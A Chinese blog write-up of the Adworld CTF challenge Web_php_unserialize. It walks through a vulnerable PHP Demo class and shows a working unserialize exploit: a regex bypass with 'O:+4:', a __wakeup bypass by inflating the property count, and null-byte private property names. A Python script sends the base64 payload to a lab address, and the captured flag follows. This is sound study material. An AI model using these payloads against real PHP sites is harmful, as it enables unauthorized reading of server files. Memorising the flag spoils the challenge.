当前位置: 首页 > news >正文

【web | CTF】攻防世界 Web_php_unserialize

天命:这条反序列化题目也是比较特别,里面的漏洞知识点,在现在的php都被修复了

天命:而且这次反序列化的字符串数量跟其他题目不一样

 <?php 
class Demo { // 初始化给变量内容,也就是当前文件,高亮显示出来private $file = 'index.php';// 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西public function __construct($file) { $this->file = $file; }// 销毁时候触发,相当于是打印flag文件出来function __destruct() { echo @highlight_file($this->file, true); }// 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发// 纯碎用来吓人,我还研究了一晚上如何让  fl4g.php == index.php// fl4g.php == index.php,就算是弱比较也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php  // 直接访问是空气$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重点,也是难点,更是无用的点// 现在版本的php都已经修复了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

坑点:__wakeup函数可以忽略,根本不会触发,

麻痹研究了我一晚上如何才能让  fl4g.php == index.php 

最后结论:就算是弱比较,也不可能相等,没有其他办法

所以只需要绕过正则表达式即可,不会正则表达式自己去学习

既不简单,也不难,我也学了几天才算比较掌握
 

【绕过点一】绕过正则,在O:4: 改成 O:+4: 就可以了

多一个+号(具体原理也不清楚,反正当是刷经验了,上古版本的php才有的漏洞)

【绕过点二】绕过 __wakeup函数,把反序列化中的内容数量,从1改成2即可

至少很大概率是这样绕过,看别人wp讲的

大概意思应该是当反序列化的  属性变量数  大于  当前类的属性变量数 的时候,就什么安全性因素,就不触发

【绕过点三】加上\00

变量名:Demofile 变成  \00Demo\00, 字符个数+2就行:s:10:"\00Demo\00file"

这里可能是因为 private 的原因,所以是+2

其他题目是protected,就是+3

也不确定是不是肯定,做的反序列化题目还不够多

【最终改变】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

写上测试脚本

import requests,base64# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

相关文章:

  • 【C进阶】顺序表详解
  • Web JavaScript
  • 网络设备和网络软件
  • Spring Cloud学习
  • Vim 模式切换 | 命令集
  • 洛谷C++简单题小练习day21—梦境数数小程序
  • 第四章 Day4
  • ChatGPT Plus遇到订阅被拒原因与解决方案
  • 软件压力测试:测试方法与步骤详解
  • 【自然语言处理】:实验5,司法阅读理解
  • Linux调用可执行程序:system()函数和execl函数
  • Python世界之运算符
  • GO-ICP的使用(一)
  • 300分钟吃透分布式缓存-15讲:如何深入理解、应用及扩展 Twemproxy?
  • 操作系统系列学习——操作系统启动
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • 30天自制操作系统-2
  • 5、React组件事件详解
  • ES10 特性的完整指南
  • es6要点
  • mac修复ab及siege安装
  • Node + FFmpeg 实现Canvas动画导出视频
  • Shell编程
  • Sublime Text 2/3 绑定Eclipse快捷键
  • uva 10370 Above Average
  • Vue.js源码(2):初探List Rendering
  • vue-router 实现分析
  • 笨办法学C 练习34:动态数组
  • 复习Javascript专题(四):js中的深浅拷贝
  • 基于游标的分页接口实现
  • 手机端车牌号码键盘的vue组件
  • 微信小程序开发问题汇总
  • 用Python写一份独特的元宵节祝福
  • # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
  • # centos7下FFmpeg环境部署记录
  • #ubuntu# #git# repository git config --global --add safe.directory
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • (1)Map集合 (2)异常机制 (3)File类 (4)I/O流
  • (附源码)spring boot儿童教育管理系统 毕业设计 281442
  • (九)c52学习之旅-定时器
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (最优化理论与方法)第二章最优化所需基础知识-第三节:重要凸集举例
  • .Family_物联网
  • .net core Swagger 过滤部分Api
  • .NET 药厂业务系统 CPU爆高分析
  • .NET:自动将请求参数绑定到ASPX、ASHX和MVC(菜鸟必看)
  • .NetCore实践篇:分布式监控Zipkin持久化之殇
  • .NetCore项目nginx发布
  • .net利用SQLBulkCopy进行数据库之间的大批量数据传递
  • .NET文档生成工具ADB使用图文教程
  • .NET正则基础之——正则委托
  • /3GB和/USERVA开关
  • @Transient注解
  • @WebService和@WebMethod注解的用法
  • [ 云计算 | AWS 实践 ] 基于 Amazon S3 协议搭建个人云存储服务